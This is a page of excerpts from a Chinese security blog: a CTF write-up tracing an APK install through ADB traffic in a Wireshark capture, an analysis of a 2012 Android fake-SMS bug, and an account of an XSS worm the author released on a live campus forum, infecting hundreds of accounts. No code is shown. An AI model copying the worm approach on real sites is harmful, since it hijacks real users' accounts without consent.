将数据包 (链接:http://pan.baidu.com/s/1ntrzThB 密码:cbf2)下载下来,在wireshark中打开,看一下statistics和conversations,会看到一大坨http和personal-agent(5555)端口。http看过一遍,基本都是新浪新闻、google搜索ACTF这种,似乎没有什么有价值信息。image(X里的wireshark太难看了)
那么5555端口会是什么?大概follow stream一下, image 玩过android的人应该会意识到这是adb的协议。从数据流大小来看,普通的adb shell命令很难会产生这么多数据,那么要么是adb pull从设备中拖取了什么信息,要么是adb push了什么东西。
再往下翻: image,就会发现有意思的东西,安装流量,也就是说流量里是一个完整的安装APK的过程!
Continue reading

[Revert from backup]对Android最新fakesms漏洞的分析

注:原文发表于 2012-11-08并同时发表于freebuf,后来在博客地震中消失了,现在的是根据freebuf上的恢复而来的。
近期Android爆出SMS smishing vuln, 首先来源于http://www.csc.ncsu.edu/faculty/jiang/smishing.html, 然后github上给出了poc,具体来说是任意一个app没有write_sms权限下可以伪造任意发件人的任意短信。
20121108123649823
Continue reading

[Revert from backup]对CC98的一次XSS蠕虫测试

注:原文发表于2012.12.31,之后在博客地震中消失了,这是从cc98上恢复的版本。
CC98论坛是浙大校内最大的论坛,每日有数万发帖,这个网站是由校内学生团队维护。由于历史原因,采用的是一套有一定历史的论坛系统,并在上面做了很多修改。修改后的系统基本杜绝了SQL注入漏洞,安全性有很大提高,但是也缺乏很多web2.0功能和一些对xss的防范。本文讲述的就是我在12.31日22点左右对其进行的一次XSS蠕虫测试。蠕虫以站短形式传播,会选取被感染发过的主题楼中第一页出现的ID发送站短,并使被感染账户在一个指定的楼里(标题名happy new year~) 进行回复。初始传播约为10人,传播开始后大约半小时感染了数百用户,蠕虫自动回复楼已经攀升到当日十大最热门贴子。然后被管理团队发现,删掉了自动回复楼,并关闭了站短功能(蠕虫传播渠道)。此后樱桃和我进行了沟通,并fix了此xss点。
Continue reading